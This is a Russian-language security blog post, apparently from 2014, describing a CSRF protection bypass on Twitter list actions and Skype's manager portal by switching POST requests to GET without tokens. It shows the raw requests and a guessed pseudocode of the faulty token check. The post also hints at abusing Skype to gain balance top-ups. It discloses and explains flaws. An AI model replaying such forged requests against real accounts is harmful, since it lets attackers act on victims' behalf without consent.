Skip to main content

Обход csrf токенов в twitter и skype

By 30 января 20149 марта, 2016Blog

Хоп, хэй, лалалэй, мой дорогой %username%!
Давеча обнаружил очень простую, старую, но в тоже время популярную ошибку в web-приложениях. Один из способов защиты от подделки межсайтовых запросов (csrf, ога) — это внедрение токенов. Это, казалось бы, защитит пользователь от грязных рук злоумышленников, но если допустить логическую ошибку — не тут-то было!
Рассмотрим пример удаления листов в twitter’е (кто активно юзает тви — знает, что это).
Запрос:
POST https://twitter.com/i/lists/destroy.json
...
authenticity_token=771bb4c1bba5e687a9f0c24c166ec03cb87af131&list_id=103929764&post_authenticity_token=771bb4c1bba5e687a9f0c24c166ec03cb87af131

Ответ:
OK
И лист удалён.

Как мы видим, тут даже два csrf-токена, хотя их значение одинаковое, но не в этом суть. Перехватить такую штуку — сложно, перебрать — долго, но есть маленький нюанс. Теперь уберём токены.
Запрос:
POST https://twitter.com/i/lists/destroy.json
...
list_id=103929764

Ответ:
Error

Но если допустить логическую ошибку… Заменяем POST на GET и уберем из запроса токены.
Запрос:
GET https://twitter.com/i/lists/destroy.json?list_id=103929764
Ответ:
OK

ТАДАААМ!

Таким же способом можно было подписывать\отписывать людей, вместо
POST https://twitter.com/i/lists/subscribe.json
...
action=subscribe&authenticity_token=771bb4c1bba5e687a9f0c24c166ec03cb87af131&list_id=103929764&
post_authenticity_token=771bb4c1bba5e687a9f0c24c166ec03cb87af131

отправлять
GET https://twitter.com/i/lists/subscribe.json?action=subscribe&list_id=103929764

Как это работает? Да хрен его знает! Возможно код проверки токена выглядит примерно следующим образом:
if $method == POST
{if $x == $validToken
return true;
else
error}
}

В таком случае если использовать метод отличный от POST, проверки токена вовсе не произойдет и csrf-атаку можно считать успешной.

Такая же ситуация была замечена в manager.skype.com
Можно было создать пользователя, так сказать, внештатного сотрудника корпоративного скайпа, скормив одну лишь ссылку «менеджерам». А потом получить автоматическое пополнение баланса 😉


Кто на dial-up’е, можете качнуть исходнички видосов на skype & twitter
Я уверен, %username%, ты найдешь подобные недочёты на других сайтах, а скоро можно будет увидеть OnsecLab в благодарностях от twitter и microsoft.

Join the discussion 2 комментария

Leave a Reply